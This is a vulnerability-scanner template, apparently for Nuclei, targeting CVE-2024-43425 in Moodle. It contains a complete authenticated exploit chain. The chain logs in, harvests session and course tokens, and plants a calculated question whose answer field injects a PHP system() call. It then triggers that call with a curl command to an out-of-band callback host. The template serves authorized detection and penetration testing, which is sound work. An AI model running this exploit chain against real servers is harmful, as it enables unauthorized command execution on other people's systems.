Moodle - Remote Code Execution

id: CVE-2024-43425

info:
  name: Moodle - Remote Code Execution
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    Attackers with the permission to create or modify questions in Moodle courses are able to craft malicious inputs for calculated questions, which can be abused to execute arbitrary commands on the underlying system.
  impact: |
    Authenticated attackers with question creation permissions can craft malicious calculated questions to execute arbitrary commands on the underlying system.
  remediation: |
    Apply security patches for Moodle addressing CVE-2024-43425.
  reference:
    - https://github.com/RedTeamPentesting/moodle-rce-calculatedquestions
    - https://blog.redteam-pentesting.de/2024/moodle-rce/
    - https://www.redteam-pentesting.de/en/advisories/rt-sa-2024-009/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-43425
  classification:
    cvss-score: 9.8
    cve-id: CVE-2024-43425
    epss-score: 0.87536
    epss-percentile: 0.9976
    cpe: cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"Moodle"
    product: moodle
    vendor: moodle
  tags: cve,cve2024,moodle,rce,authenticated,vuln

flow: http(1) && http(2) && http(3) && http(4) && http(5) && http(6)

http:
  - raw:
      - |
        GET /login/index.php HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /login/index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        anchor=&logintoken={{token}}&username={{username}}&password={{password}}

    host-redirects: true

    extractors:
      - type: regex
        part: body
        name: token
        group: 1
        regex:
          - 'name="logintoken" value="([a-zA-Z0-9]+)">'
        internal: true

  - raw:
      - |
        GET /my/courses.php HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: sesskey
        part: body
        internal: true
        group: 1
        regex:
          - '"sesskey":"([^"]+)"'
  - raw:
      - |
        POST /lib/ajax/service.php?sesskey={{sesskey}}&info=core_course_get_enrolled_courses_by_timeline_classification HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        [{"index":0,"methodname":"core_course_get_enrolled_courses_by_timeline_classification","args":{"offset":0,"limit":0,"classification":"all","sort":"fullname","customfieldname":"","customfieldvalue":"","requiredfields":["id","fullname","shortname","showcoursecategory","showshortname","visible","enddate"]}}]

    extractors:
      - type: json
        part: body
        name: courseid
        json:
          - ".[].data.courses[0].id"
        internal: true

  - raw:
      - |
        POST /question/bank/editquestion/question.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        initialcategory=1&reload=1&shuffleanswers=1&answernumbering=abc&mform_isexpanded_id_answerhdr=1&noanswers=1&nounits=1&numhints=2&synchronize=&wizard=datasetdefinitions&id=&inpopup=0&cmid=&courseid={{courseid}}&returnurl=%2Fquestion%2Fedit.php%3Fcourseid%3D2%26deleteall%3D1&mdlscrollto=0&appendqnumstring=&qtype=calculated&makecopy=0&sesskey={{sesskey}}&_qf__qtype_calculated_edit_form=1&mform_isexpanded_id_generalheader=1&mform_isexpanded_id_unithandling=1&mform_isexpanded_id_unithdr=1&mform_isexpanded_id_multitriesheader=1&mform_isexpanded_id_tagsheader=1&category=2%2C11&name=aaaaaaa&questiontext%5Btext%5D=%3Cp%3Edsaszzzzzzzzda%3C%2Fp%3E&questiontext%5Bformat%5D=1&questiontext%5Bitemid%5D=471779994&status=ready&defaultmark=1&generalfeedback%5Btext%5D=&generalfeedback%5Bformat%5D=1&generalfeedback%5Bitemid%5D=318048148&idnumber=&answer%5B0%5D=%281%29-%3E%7Bsystem%28%24_GET%5Bchr%2897%29%5D%29%7D&fraction%5B0%5D=1.0&tolerance%5B0%5D=0.01&tolerancetype%5B0%5D=1&correctanswerlength%5B0%5D=2&correctanswerformat%5B0%5D=1&feedback%5B0%5D%5Btext%5D=&feedback%5B0%5D%5Bformat%5D=1&feedback%5B0%5D%5Bitemid%5D=238751667&unitrole=3&penalty=0.3333333&hint%5B0%5D%5Btext%5D=%3Cp%3Eas%3C%2Fp%3E&hint%5B0%5D%5Bformat%5D=1&hint%5B0%5D%5Bitemid%5D=653998899&hint%5B1%5D%5Btext%5D=&hint%5B1%5D%5Bformat%5D=1&hint%5B1%5D%5Bitemid%5D=161289221&tags=_qf__force_multiselect_submission&submitbutton=Save+changes

    extractors:
      - type: regex
        part: header
        name: id
        group: 1
        internal: true
        regex:
          - "&id=([0-9]+)&"

  - raw:
      - |
        POST /question/bank/editquestion/question.php?wizardnow=datasetdefinitions HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        id={{id}}&inpopup=0&cmid=&courseid={{courseid}}&returnurl=%2Fquestion%2Fedit.php%3Fcourseid%3D2%26deleteall%3D1&mdlscrollto=0&appendqnumstring=&category=2%2C11&wizard=datasetitems&sesskey={{sesskey}}&_qf__question_dataset_dependent_definitions_form=1&dataset%5B0%5D=0&synchronize=0&submitbutton=Next+page

    extractors:
      - type: regex
        part: header
        name: rceurl
        group: 1
        internal: true
        regex:
          - "Location: https?://.*?/question/(.*)&returnurl"

  - raw:
      - |
        GET /question/{{rceurl}}&a=curl%20{{interactsh-url}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: status
        status:
          - 200